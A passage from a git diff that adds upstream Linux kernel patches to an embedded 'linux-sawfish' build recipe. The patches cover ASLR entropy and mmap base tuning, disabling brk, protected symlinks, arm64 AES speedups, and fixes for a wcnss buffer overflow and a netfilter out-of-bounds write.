*vmalloc_node(unsigned long size, int node) __attribute__((alloc_size(1))); ++extern void *vzalloc_node(unsigned long size, int node) __attribute__((alloc_size(1))); ++extern void *vmalloc_exec(unsigned long size) __attribute__((alloc_size(1))); ++extern void *vmalloc_32(unsigned long size) __attribute__((alloc_size(1))); ++extern void *vmalloc_32_user(unsigned long size) __attribute__((alloc_size(1))); ++extern void *__vmalloc(unsigned long size, gfp_t gfp_mask, pgprot_t prot) __attribute__((alloc_size(1))); + extern void *__vmalloc_node_range(unsigned long size, unsigned long align, + unsigned long start, unsigned long end, gfp_t gfp_mask, + pgprot_t prot, unsigned long vm_flags, int node, +- const void *caller); ++ const void *caller) __attribute__((alloc_size(1))); + + extern void vfree(const void *addr); + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0027-650b1da7162b-PATCH arm64 properly account for stack rnd in mmap base.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0027-650b1da7162b-PATCH arm64 properly account for stack rnd in mmap base.patch new file mode 100644 index 0000000..f68fb5d --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0027-650b1da7162b-PATCH arm64 properly account for stack rnd in mmap base.patch @@ -0,0 +1,39 @@ +From 650b1da7162ba5557351e09268e476e9b9cb7faf Mon Sep 17 00:00:00 2001 +From: Daniel Micay +Date: Mon, 22 May 2017 04:56:22 -0400 +Subject: [PATCH] arm64: properly account for stack rnd in mmap base + +The stack ASLR base was not included in the gap size for rlimit values +larger than MIN_GAP, resulting in insufficient space being reserved. + +PaX uses an alternate approach where the mmap base is instead offset +from the actual random stack base, but this works for the time being. + +Signed-off-by: Daniel Micay +--- + arch/arm64/mm/mmap.c | 5 ++++- + 1 file changed, 4 insertions(+), 1 deletion(-) + +diff --git a/arch/arm64/mm/mmap.c b/arch/arm64/mm/mmap.c +index 4073f5aabf1..021c1702051 100644 +--- a/arch/arm64/mm/mmap.c ++++ b/arch/arm64/mm/mmap.c +@@ -33,7 +33,7 @@ + * Leave enough space between the mmap area and the stack to honour ulimit in + * the face of randomisation. + */ +-#define MIN_GAP (SZ_128M + ((STACK_RND_MASK << PAGE_SHIFT) + 1)) ++#define MIN_GAP (SZ_128M) + #define MAX_GAP (STACK_TOP/6*5) + + static int mmap_is_legacy(void) +@@ -65,6 +65,9 @@ unsigned long arch_mmap_rnd(void) + static unsigned long mmap_base(unsigned long rnd) + { + unsigned long gap = rlimit(RLIMIT_STACK); ++ unsigned long pad = STACK_RND_MASK << PAGE_SHIFT; ++ if (gap + pad > gap) ++ gap += pad; + + if (gap < MIN_GAP) + gap = MIN_GAP; diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0028-a486b31a1cd2-PATCH arm64 determine stack entropy based on mmap entropy.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0028-a486b31a1cd2-PATCH arm64 determine stack entropy based on mmap entropy.patch new file mode 100644 index 0000000..a33542d --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0028-a486b31a1cd2-PATCH arm64 determine stack entropy based on mmap entropy.patch @@ -0,0 +1,48 @@ +From a486b31a1cd2d0c82fa474a64d069a48cd0328a8 Mon Sep 17 00:00:00 2001 +From: Daniel Micay +Date: Mon, 22 May 2017 05:06:20 -0400 +Subject: [PATCH] arm64: determine stack entropy based on mmap entropy + +Stack mapping entropy is currently hard-wired to 11 bits of entropy on +32-bit and 18 bits of entropy on 64-bit. The stack itself gains an extra +8 bits of entropy from lower bit randomization within 16 byte alignment +constraints. The argument block could have all lower bits randomized but +it currently only gets the mapping randomization. + +Rather than hard-wiring values this switches to using the mmap entropy +configuration like the mmap base and executable base, resulting in a +range of 8 to 16 bits on 32-bit and 18 to 24 bits on 64-bit (with 4k +pages) depending on kernel configuration and overridable via the sysctl +entries. + +It's worth noting that since these kernel configuration options default +to the minimum supported entropy value, the entropy on 32-bit will drop +from 11 to 8 bits for builds using the defaults. However, following the +configuration seems like the right thing to do regardless. At the very +least, changing the defaults for COMPAT (32-bit processes on 64-bit) +should be considered due to the larger address space compared to real +32-bit. + +Signed-off-by: Daniel Micay +--- + arch/arm64/include/asm/elf.h | 6 +++--- + 1 file changed, 3 insertions(+), 3 deletions(-) + +diff --git a/arch/arm64/include/asm/elf.h b/arch/arm64/include/asm/elf.h +index 8e3e0c9f994..79298ba3ae9 100644 +--- a/arch/arm64/include/asm/elf.h ++++ b/arch/arm64/include/asm/elf.h +@@ -151,10 +151,10 @@ extern int arch_setup_additional_pages(struct linux_binprm *bprm, + /* 1GB of VA */ + #ifdef CONFIG_COMPAT + #define STACK_RND_MASK (test_thread_flag(TIF_32BIT) ? \ +- 0x7ff >> (PAGE_SHIFT - 12) : \ +- 0x3ffff >> (PAGE_SHIFT - 12)) ++ ((1UL << mmap_rnd_compat_bits) - 1) >> (PAGE_SHIFT - 12) : \ ++ ((1UL << mmap_rnd_bits) - 1) >> (PAGE_SHIFT - 12)) + #else +-#define STACK_RND_MASK (0x3ffff >> (PAGE_SHIFT - 12)) ++#define STACK_RND_MASK (((1UL << mmap_rnd_bits) - 1) >> (PAGE_SHIFT - 12)) + #endif + + struct mm_struct; diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0029-5f06117f6ede-PATCH arm64 move ETDYN base lower in the address space.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0029-5f06117f6ede-PATCH arm64 move ETDYN base lower in the address space.patch new file mode 100644 index 0000000..4a11f79 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0029-5f06117f6ede-PATCH arm64 move ETDYN base lower in the address space.patch @@ -0,0 +1,32 @@ +From 5f06117f6ede53c65d5337bc2e158267450ad7ff Mon Sep 17 00:00:00 2001 +From: Daniel Micay +Date: Mon, 22 May 2017 06:58:55 -0400 +Subject: [PATCH] arm64: move ET_DYN base lower in the address space + +Signed-off-by: Daniel Micay +--- + arch/arm64/include/asm/elf.h | 4 ++-- + 1 file changed, 2 insertions(+), 2 deletions(-) + +diff --git a/arch/arm64/include/asm/elf.h b/arch/arm64/include/asm/elf.h +index 79298ba3ae9..487c1591e2d 100644 +--- a/arch/arm64/include/asm/elf.h ++++ b/arch/arm64/include/asm/elf.h +@@ -126,7 +126,7 @@ typedef struct user_fpsimd_state elf_fpregset_t; + * the loader. We need to make sure that it is out of the way of the program + * that it will "exec", and that there is sufficient room for the brk. + */ +-#define ELF_ET_DYN_BASE (2 * TASK_SIZE_64 / 3) ++#define ELF_ET_DYN_BASE (U32_MAX) + + /* + * When the program starts, a1 contains a pointer to a function to be +@@ -169,7 +169,7 @@ extern unsigned long arch_randomize_brk(struct mm_struct *mm); + #define COMPAT_ELF_PLATFORM ("v8l") + #endif + +-#define COMPAT_ELF_ET_DYN_BASE (2 * TASK_SIZE_32 / 3) ++#define COMPAT_ELF_ET_DYN_BASE (0x10000000UL) + + /* AArch32 registers. */ + #define COMPAT_ELF_NGREG 18 diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0030-284614cd0394-PATCH randomize lower bits of the argument block.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0030-284614cd0394-PATCH randomize lower bits of the argument block.patch new file mode 100644 index 0000000..870758b --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0030-284614cd0394-PATCH randomize lower bits of the argument block.patch @@ -0,0 +1,34 @@ +From 284614cd03940353fca75a607e621974a0590093 Mon Sep 17 00:00:00 2001 +From: Daniel Micay +Date: Thu, 11 May 2017 16:02:49 -0400 +Subject: [PATCH] randomize lower bits of the argument block + +This was extracted from the PaX RANDUSTACK feature in grsecurity, where +all of the lower bits are randomized. PaX keeps 16-byte alignment. + +Signed-off-by: Daniel Micay +--- + fs/exec.c | 3 +++ + 1 file changed, 3 insertions(+) + +diff --git a/fs/exec.c b/fs/exec.c +index a552a192d0e..09cedfaea69 100644 +--- a/fs/exec.c ++++ b/fs/exec.c +@@ -56,6 +56,7 @@ + #include + #include + #include ++#include + + #include + #include +@@ -300,6 +301,8 @@ static int __bprm_mm_init(struct linux_binprm *bprm) + mm->stack_vm = mm->total_vm = 1; + up_write(&mm->mmap_sem); + bprm->p = vma->vm_end - sizeof(void *); ++ if (randomize_va_space) ++ bprm->p ^= get_random_long() & ~PAGE_MASK; + return 0; + err: + up_write(&mm->mmap_sem); diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0031-f296b49c4bd3-PATCH disable brk system call.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0031-f296b49c4bd3-PATCH disable brk system call.patch new file mode 100644 index 0000000..d816728 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0031-f296b49c4bd3-PATCH disable brk system call.patch @@ -0,0 +1,36 @@ +From f296b49c4bd3b98c3c20eaa40800642a238965a4 Mon Sep 17 00:00:00 2001 +From: Daniel Micay +Date: Mon, 12 Jun 2017 21:29:12 -0400 +Subject: [PATCH] disable brk system call + +--- + arch/arm64/include/asm/unistd32.h | 2 +- + include/uapi/asm-generic/unistd.h | 2 +- + 2 files changed, 2 insertions(+), 2 deletions(-) + +diff --git a/arch/arm64/include/asm/unistd32.h b/arch/arm64/include/asm/unistd32.h +index 8893cebcea5..d558c8731f2 100644 +--- a/arch/arm64/include/asm/unistd32.h ++++ b/arch/arm64/include/asm/unistd32.h +@@ -112,7 +112,7 @@ __SYSCALL(__NR_times, compat_sys_times) + /* 44 was sys_prof */ + __SYSCALL(44, sys_ni_syscall) + #define __NR_brk 45 +-__SYSCALL(__NR_brk, sys_brk) ++__SYSCALL(__NR_brk, sys_ni_syscall) + #define __NR_setgid 46 + __SYSCALL(__NR_setgid, sys_setgid16) + #define __NR_getgid 47 +diff --git a/include/uapi/asm-generic/unistd.h b/include/uapi/asm-generic/unistd.h +index 22749c13411..36e752ac258 100644 +--- a/include/uapi/asm-generic/unistd.h ++++ b/include/uapi/asm-generic/unistd.h +@@ -584,7 +584,7 @@ __SC_COMP(__NR_readahead, sys_readahead, compat_sys_readahead) + + /* mm/nommu.c, also with MMU */ + #define __NR_brk 214 +-__SYSCALL(__NR_brk, sys_brk) ++__SYSCALL(__NR_brk, sys_ni_syscall) + #define __NR_munmap 215 + __SYSCALL(__NR_munmap, sys_munmap) + #define __NR_mremap 216 diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0032-4750ac7f584a-PATCH enable protectedsymlinkshardlinks by default.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0032-4750ac7f584a-PATCH enable protectedsymlinkshardlinks by default.patch new file mode 100644 index 0000000..0821b56 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0032-4750ac7f584a-PATCH enable protectedsymlinkshardlinks by default.patch @@ -0,0 +1,24 @@ +From 4750ac7f584a0c976b00fa8efd9fa67ad4397015 Mon Sep 17 00:00:00 2001 +From: Daniel Micay +Date: Tue, 30 May 2017 10:47:23 -0400 +Subject: [PATCH] enable protected_{symlinks,hardlinks} by default + +--- + fs/namei.c | 4 ++-- + 1 file changed, 2 insertions(+), 2 deletions(-) + +diff --git a/fs/namei.c b/fs/namei.c +index 4a1eaba11bb..ef7d50301a0 100644 +--- a/fs/namei.c ++++ b/fs/namei.c +@@ -736,8 +736,8 @@ static inline void put_link(struct nameidata *nd, struct path *link, void *cooki + path_put(link); + } + +-int sysctl_protected_symlinks __read_mostly = 0; +-int sysctl_protected_hardlinks __read_mostly = 0; ++int sysctl_protected_symlinks __read_mostly = 1; ++int sysctl_protected_hardlinks __read_mostly = 1; + + /** + * may_follow_link - Check symlink following for unsafe situations diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0033-182e679e85df-PATCH getrandom make blocking until init configurable.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0033-182e679e85df-PATCH getrandom make blocking until init configurable.patch new file mode 100644 index 0000000..0738339 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0033-182e679e85df-PATCH getrandom make blocking until init configurable.patch @@ -0,0 +1,30 @@ +From 182e679e85dfc3af7d06cf2a5063c9f75128e6ff Mon Sep 17 00:00:00 2001 +From: Daniel Micay +Date: Tue, 5 Sep 2017 22:43:56 -0400 +Subject: [PATCH] getrandom: make blocking until init configurable + +Change-Id: I6eda9ceb35a5bc81bd29c9747e9dcfedc3f76952 +--- + drivers/char/random.c | 2 ++ + 1 file changed, 2 insertions(+) + +diff --git a/drivers/char/random.c b/drivers/char/random.c +index d55156fc064..b91245c6974 100644 +--- a/drivers/char/random.c ++++ b/drivers/char/random.c +@@ -1532,6 +1532,7 @@ SYSCALL_DEFINE3(getrandom, char __user *, buf, size_t, count, + if (flags & GRND_RANDOM) + return _random_read(flags & GRND_NONBLOCK, buf, count); + ++#ifdef CONFIG_GETRANDOM_BLOCKING_INIT + if (unlikely(nonblocking_pool.initialized == 0)) { + if (flags & GRND_NONBLOCK) + return -EAGAIN; +@@ -1540,6 +1541,7 @@ SYSCALL_DEFINE3(getrandom, char __user *, buf, size_t, count, + if (signal_pending(current)) + return -ERESTARTSYS; + } ++#endif + return urandom_read(NULL, buf, count, NULL); + } + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0034-abbb184989c4-PATCH wcnss fix 3 byte buffer overflow on MAC change.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0034-abbb184989c4-PATCH wcnss fix 3 byte buffer overflow on MAC change.patch new file mode 100644 index 0000000..deeac26 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0034-abbb184989c4-PATCH wcnss fix 3 byte buffer overflow on MAC change.patch @@ -0,0 +1,36 @@ +From abbb184989c4ecafa080837deb30721b2e69b3fe Mon Sep 17 00:00:00 2001 +From: Daniel Micay +Date: Tue, 26 Sep 2017 14:16:32 -0400 +Subject: [PATCH] wcnss: fix 3 byte buffer overflow on MAC change + +Change-Id: I0c47844e47d0396e4f241d4472e904b1ee7dc1bc +--- + drivers/net/wireless/wcnss/wcnss_wlan.c | 8 ++++---- + 1 file changed, 4 insertions(+), 4 deletions(-) + +diff --git a/drivers/net/wireless/wcnss/wcnss_wlan.c b/drivers/net/wireless/wcnss/wcnss_wlan.c +index 0177d9367f4..b8451f8011e 100644 +--- a/drivers/net/wireless/wcnss/wcnss_wlan.c ++++ b/drivers/net/wireless/wcnss/wcnss_wlan.c +@@ -191,7 +191,7 @@ static DEFINE_SPINLOCK(reg_spinlock); + #define WCNSS_USR_HAS_CAL_DATA (WCNSS_USR_CTRL_MSG_START + 2) + #define WCNSS_USR_WLAN_MAC_ADDR (WCNSS_USR_CTRL_MSG_START + 3) + +-#define MAC_ADDRESS_STR "%02x:%02x:%02x:%02x:%02x:%02x" ++#define MAC_ADDRESS_STR "%02hhx:%02hhx:%02hhx:%02hhx:%02hhx:%02hhx" + + /* message types */ + #define WCNSS_CTRL_MSG_START 0x01000000 +@@ -434,9 +434,9 @@ static ssize_t wcnss_wlan_macaddr_store(struct device *dev, + pr_debug("%s: Receive MAC Addr From user space: %s\n", __func__, buf); + + if (WLAN_MAC_ADDR_SIZE != sscanf(buf, MAC_ADDRESS_STR, +- (int *)&macAddr[0], (int *)&macAddr[1], +- (int *)&macAddr[2], (int *)&macAddr[3], +- (int *)&macAddr[4], (int *)&macAddr[5])) { ++ &macAddr[0], &macAddr[1], ++ &macAddr[2], &macAddr[3], ++ &macAddr[4], &macAddr[5])) { + + pr_err("%s: Failed to Copy MAC\n", __func__); + return -EINVAL; diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0035-0eee0fbd41c7-PATCH arm64 crypto increase AES interleave to 4x.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0035-0eee0fbd41c7-PATCH arm64 crypto increase AES interleave to 4x.patch new file mode 100644 index 0000000..4997c8e --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0035-0eee0fbd41c7-PATCH arm64 crypto increase AES interleave to 4x.patch @@ -0,0 +1,47 @@ +From 0eee0fbd41c7b57d01136df2519c92ec1506e333 Mon Sep 17 00:00:00 2001 +From: Ard Biesheuvel +Date: Thu, 19 Feb 2015 17:25:16 +0000 +Subject: [PATCH] arm64: crypto: increase AES interleave to 4x + +This patch increases the interleave factor for parallel AES modes +to 4x. This improves performance on Cortex-A57 by ~35%. This is +due to the 3-cycle latency of AES instructions on the A57's +relatively deep pipeline (compared to Cortex-A53 where the AES +instruction latency is only 2 cycles). + +At the same time, disable inline expansion of the core AES functions, +as the performance benefit of this feature is negligible. + + Measured on AMD Seattle (using tcrypt.ko mode=500 sec=1): + + Baseline (2x interleave, inline expansion) + ------------------------------------------ + testing speed of async cbc(aes) (cbc-aes-ce) decryption + test 4 (128 bit key, 8192 byte blocks): 95545 operations in 1 seconds + test 14 (256 bit key, 8192 byte blocks): 68496 operations in 1 seconds + + This patch (4x interleave, no inline expansion) + ----------------------------------------------- + testing speed of async cbc(aes) (cbc-aes-ce) decryption + test 4 (128 bit key, 8192 byte blocks): 124735 operations in 1 seconds + test 14 (256 bit key, 8192 byte blocks): 92328 operations in 1 seconds + +Signed-off-by: Ard Biesheuvel +Signed-off-by: Catalin Marinas +--- + arch/arm64/crypto/Makefile | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/arch/arm64/crypto/Makefile b/arch/arm64/crypto/Makefile +index 5720608c50b1b..abb79b3cfcfea 100644 +--- a/arch/arm64/crypto/Makefile ++++ b/arch/arm64/crypto/Makefile +@@ -29,7 +29,7 @@ aes-ce-blk-y := aes-glue-ce.o aes-ce.o + obj-$(CONFIG_CRYPTO_AES_ARM64_NEON_BLK) += aes-neon-blk.o + aes-neon-blk-y := aes-glue-neon.o aes-neon.o + +-AFLAGS_aes-ce.o := -DINTERLEAVE=2 -DINTERLEAVE_INLINE ++AFLAGS_aes-ce.o := -DINTERLEAVE=4 + AFLAGS_aes-neon.o := -DINTERLEAVE=4 + + CFLAGS_aes-glue-ce.o := -DUSE_V8_CRYPTO_EXTENSIONS diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0036-4a97abd44329-PATCH arm64crypto issue aeseaesmc instructions in pairs.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0036-4a97abd44329-PATCH arm64crypto issue aeseaesmc instructions in pairs.patch new file mode 100644 index 0000000..01c3e59 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0036-4a97abd44329-PATCH arm64crypto issue aeseaesmc instructions in pairs.patch @@ -0,0 +1,100 @@ +From 4a97abd44329bf7b9c57f020224da5f823c9c9ea Mon Sep 17 00:00:00 2001 +From: Ard Biesheuvel +Date: Tue, 17 Mar 2015 18:05:13 +0000 +Subject: [PATCH] arm64/crypto: issue aese/aesmc instructions in pairs + +This changes the AES core transform implementations to issue aese/aesmc +(and aesd/aesimc) in pairs. This enables a micro-architectural optimization +in recent Cortex-A5x cores that improves performance by 50-90%. + +Measured performance in cycles per byte (Cortex-A57): + + CBC enc CBC dec CTR + before 3.64 1.34 1.32 + after 1.95 0.85 0.93 + +Note that this results in a ~5% performance decrease for older cores. + +Signed-off-by: Ard Biesheuvel +Signed-off-by: Will Deacon +--- + arch/arm64/crypto/aes-ce-ccm-core.S | 12 ++++++------ + arch/arm64/crypto/aes-ce.S | 10 +++------- + 2 files changed, 9 insertions(+), 13 deletions(-) + +diff --git a/arch/arm64/crypto/aes-ce-ccm-core.S b/arch/arm64/crypto/aes-ce-ccm-core.S +index 432e4841cd811..a2a7fbcacc141 100644 +--- a/arch/arm64/crypto/aes-ce-ccm-core.S ++++ b/arch/arm64/crypto/aes-ce-ccm-core.S +@@ -101,19 +101,19 @@ ENTRY(ce_aes_ccm_final) + 0: mov v4.16b, v3.16b + 1: ld1 {v5.2d}, [x2], #16 /* load next round key */ + aese v0.16b, v4.16b +- aese v1.16b, v4.16b + aesmc v0.16b, v0.16b ++ aese v1.16b, v4.16b + aesmc v1.16b, v1.16b + 2: ld1 {v3.2d}, [x2], #16 /* load next round key */ + aese v0.16b, v5.16b +- aese v1.16b, v5.16b + aesmc v0.16b, v0.16b ++ aese v1.16b, v5.16b + aesmc v1.16b, v1.16b + 3: ld1 {v4.2d}, [x2], #16 /* load next round key */ + subs w3, w3, #3 + aese v0.16b, v3.16b +- aese v1.16b, v3.16b + aesmc v0.16b, v0.16b ++ aese v1.16b, v3.16b + aesmc v1.16b, v1.16b + bpl 1b + aese v0.16b, v4.16b +@@ -146,19 +146,19 @@ ENDPROC(ce_aes_ccm_final) + ld1 {v5.2d}, [x10], #16 /* load 2nd round key */ + 2: /* inner loop: 3 rounds, 2x interleaved */ + aese v0.16b, v4.16b +- aese v1.16b, v4.16b + aesmc v0.16b, v0.16b ++ aese v1.16b, v4.16b + aesmc v1.16b, v1.16b + 3: ld1 {v3.2d}, [x10], #16 /* load next round key */ + aese v0.16b, v5.16b +- aese v1.16b, v5.16b + aesmc v0.16b, v0.16b ++ aese v1.16b, v5.16b + aesmc v1.16b, v1.16b + 4: ld1 {v4.2d}, [x10], #16 /* load next round key */ + subs w7, w7, #3 + aese v0.16b, v3.16b +- aese v1.16b, v3.16b + aesmc v0.16b, v0.16b ++ aese v1.16b, v3.16b + aesmc v1.16b, v1.16b + ld1 {v5.2d}, [x10], #16 /* load next round key */ + bpl 2b +diff --git a/arch/arm64/crypto/aes-ce.S b/arch/arm64/crypto/aes-ce.S +index 685a18f731eb6..78f3cfe92c087 100644 +--- a/arch/arm64/crypto/aes-ce.S ++++ b/arch/arm64/crypto/aes-ce.S +@@ -45,18 +45,14 @@ + + .macro do_enc_Nx, de, mc, k, i0, i1, i2, i3 + aes\de \i0\().16b, \k\().16b +- .ifnb \i1 +- aes\de \i1\().16b, \k\().16b +- .ifnb \i3 +- aes\de \i2\().16b, \k\().16b +- aes\de \i3\().16b, \k\().16b +- .endif +- .endif + aes\mc \i0\().16b, \i0\().16b + .ifnb \i1 ++ aes\de \i1\().16b, \k\().16b + aes\mc \i1\().16b, \i1\().16b + .ifnb \i3 ++ aes\de \i2\().16b, \k\().16b + aes\mc \i2\().16b, \i2\().16b ++ aes\de \i3\().16b, \k\().16b + aes\mc \i3\().16b, \i3\().16b + .endif + .endif diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0037-08c6781cfaa1-PATCH arm64 crypto reduce priority of core AES cipher.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0037-08c6781cfaa1-PATCH arm64 crypto reduce priority of core AES cipher.patch new file mode 100644 index 0000000..7c46697 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0037-08c6781cfaa1-PATCH arm64 crypto reduce priority of core AES cipher.patch @@ -0,0 +1,33 @@ +From 08c6781cfaa196d4b257ec043c17e8746d9284e3 Mon Sep 17 00:00:00 2001 +From: Ard Biesheuvel +Date: Mon, 16 Nov 2015 13:12:48 +0100 +Subject: [PATCH] arm64: crypto: reduce priority of core AES cipher + +The asynchronous, merged implementations of AES in CBC, CTR and XTS +modes are preferred when available (i.e., when instantiating ablkciphers +explicitly). However, the synchronous core AES cipher combined with the +generic CBC mode implementation will produce a 'cbc(aes)' blkcipher that +is callable asynchronously as well. To prevent this implementation from +being used when the accelerated asynchronous implemenation is also +available, lower its priority to 250 (i.e., below the asynchronous +module's priority of 300). + +Signed-off-by: Ard Biesheuvel +Signed-off-by: Catalin Marinas +--- + arch/arm64/crypto/aes-ce-cipher.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/arch/arm64/crypto/aes-ce-cipher.c b/arch/arm64/crypto/aes-ce-cipher.c +index ce47792a983dd..f7bd9bf0bbb39 100644 +--- a/arch/arm64/crypto/aes-ce-cipher.c ++++ b/arch/arm64/crypto/aes-ce-cipher.c +@@ -237,7 +237,7 @@ EXPORT_SYMBOL(ce_aes_setkey); + static struct crypto_alg aes_alg = { + .cra_name = "aes", + .cra_driver_name = "aes-ce", +- .cra_priority = 300, ++ .cra_priority = 250, + .cra_flags = CRYPTO_ALG_TYPE_CIPHER, + .cra_blocksize = AES_BLOCK_SIZE, + .cra_ctxsize = sizeof(struct crypto_aes_ctx), diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0038-0f7214d62588-PATCH mark qcedev data const.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0038-0f7214d62588-PATCH mark qcedev data const.patch new file mode 100644 index 0000000..3a3e25e --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0038-0f7214d62588-PATCH mark qcedev data const.patch @@ -0,0 +1,29 @@ +From 0f7214d62588a9cf1a912e539db927580ac94820 Mon Sep 17 00:00:00 2001 +From: Daniel Micay +Date: Wed, 7 Feb 2018 17:09:27 -0500 +Subject: [PATCH] mark qcedev data const + +--- + drivers/crypto/msm/qcedev.c | 4 ++-- + 1 file changed, 2 insertions(+), 2 deletions(-) + +diff --git a/drivers/crypto/msm/qcedev.c b/drivers/crypto/msm/qcedev.c +index 34f502b3b07..2d5ed5f7d67 100644 +--- a/drivers/crypto/msm/qcedev.c ++++ b/drivers/crypto/msm/qcedev.c +@@ -41,13 +41,13 @@ + #define CACHE_LINE_SIZE 32 + #define CE_SHA_BLOCK_SIZE SHA256_BLOCK_SIZE + +-static uint8_t _std_init_vector_sha1_uint8[] = { ++static const uint8_t _std_init_vector_sha1_uint8[] = { + 0x67, 0x45, 0x23, 0x01, 0xEF, 0xCD, 0xAB, 0x89, + 0x98, 0xBA, 0xDC, 0xFE, 0x10, 0x32, 0x54, 0x76, + 0xC3, 0xD2, 0xE1, 0xF0 + }; + /* standard initialization vector for SHA-256, source: FIPS 180-2 */ +-static uint8_t _std_init_vector_sha256_uint8[] = { ++static const uint8_t _std_init_vector_sha256_uint8[] = { + 0x6A, 0x09, 0xE6, 0x67, 0xBB, 0x67, 0xAE, 0x85, + 0x3C, 0x6E, 0xF3, 0x72, 0xA5, 0x4F, 0xF5, 0x3A, + 0x51, 0x0E, 0x52, 0x7F, 0x9B, 0x05, 0x68, 0x8C, diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0039.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0039.diff new file mode 100644 index 0000000..0571eab --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0039.diff @@ -0,0 +1,129 @@ +Ben Hawkes says: + + In the mark_source_chains function (net/ipv4/netfilter/ip_tables.c) it + is possible for a user-supplied ipt_entry structure to have a large + next_offset field. This field is not bounds checked prior to writing a + counter value at the supplied offset. + +Problem is that xt_entry_foreach() macro stops iterating once +e->next_offset is out of bounds, assuming this is the last entry that +will be used. + +However, if the blob is malformed its possible that mark_source_chains +function attempts to move past the last entry iff this last entry +doesn't have a verdict/jump (i.e. evaluation continues with next rule). + +To fix this we check that the next address isn't above the blob size. + +We know from initial xt_entry_foreach that all e->next_offset values are +sane except the last entry, where last + last->next_offset brought us above +the total_size. + +Reported-by: Ben Hawkes +Signed-off-by: Florian Westphal +--- + net/ipv4/netfilter/arp_tables.c | 10 +++++++--- + net/ipv4/netfilter/ip_tables.c | 6 ++++++ + net/ipv6/netfilter/ip6_tables.c | 6 ++++++ + 3 files changed, 19 insertions(+), 3 deletions(-) + +diff --git a/net/ipv4/netfilter/arp_tables.c b/net/ipv4/netfilter/arp_tables.c +index 830bbe8..2347a5c 100644 +--- a/net/ipv4/netfilter/arp_tables.c ++++ b/net/ipv4/netfilter/arp_tables.c +@@ -439,6 +439,8 @@ static int mark_source_chains(const struct xt_table_info *newinfo, + size = e->next_offset; + e = (struct arpt_entry *) + (entry0 + pos + size); ++ if (pos + size >= newinfo->size) ++ return 0; + e->counters.pcnt = pos; + pos += size; + } else { +@@ -458,9 +460,13 @@ static int mark_source_chains(const struct xt_table_info *newinfo, + /* This a jump; chase it. */ + duprintf("Jump rule %u -> %u\n", + pos, newpos); ++ e = (struct arpt_entry *) ++ (entry0 + newpos); + } else { + /* ... this is a fallthru */ + newpos = pos + e->next_offset; ++ if (newpos >= newinfo->size) ++ return 0; + } + e = (struct arpt_entry *) + (entry0 + newpos); +@@ -690,10 +696,8 @@ static int translate_table(struct xt_table_info *newinfo, void *entry0, + } + } + +- if (!mark_source_chains(newinfo, repl->valid_hooks, entry0)) { +- duprintf("Looping hook\n"); ++ if (!mark_source_chains(newinfo, repl->valid_hooks, entry0)) + return -ELOOP; +- } + + /* Finally, each sanity check must pass */ + i = 0; +diff --git a/net/ipv4/netfilter/ip_tables.c b/net/ipv4/netfilter/ip_tables.c +index 1d72a3c..07ce901 100644 +--- a/net/ipv4/netfilter/ip_tables.c ++++ b/net/ipv4/netfilter/ip_tables.c +@@ -521,6 +521,8 @@ mark_source_chains(const struct xt_table_info *newinfo, + size = e->next_offset; + e = (struct ipt_entry *) + (entry0 + pos + size); ++ if (pos + size >= newinfo->size) ++ return 0; + e->counters.pcnt = pos; + pos += size; + } else { +@@ -539,9 +541,13 @@ mark_source_chains(const struct xt_table_info *newinfo, + /* This a jump; chase it. */ + duprintf("Jump rule %u -> %u\n", + pos, newpos); ++ e = (struct ipt_entry *) ++ (entry0 + newpos); + } else { + /* ... this is a fallthru */ + newpos = pos + e->next_offset; ++ if (newpos >= newinfo->size) ++ return 0; + } + e = (struct ipt_entry *) + (entry0 + newpos); +diff --git a/net/ipv6/netfilter/ip6_tables.c b/net/ipv6/netfilter/ip6_tables.c +index 26a5ad1..99068dc 100644 +--- a/net/ipv6/netfilter/ip6_tables.c ++++ b/net/ipv6/netfilter/ip6_tables.c +@@ -533,6 +533,8 @@ mark_source_chains(const struct xt_table_info *newinfo, + size = e->next_offset; + e = (struct ip6t_entry *) + (entry0 + pos + size); ++ if (pos + size >= newinfo->size) ++ return 0; + e->counters.pcnt = pos; + pos += size; + } else { +@@ -551,9 +553,13 @@ mark_source_chains(const struct xt_table_info *newinfo, + /* This a 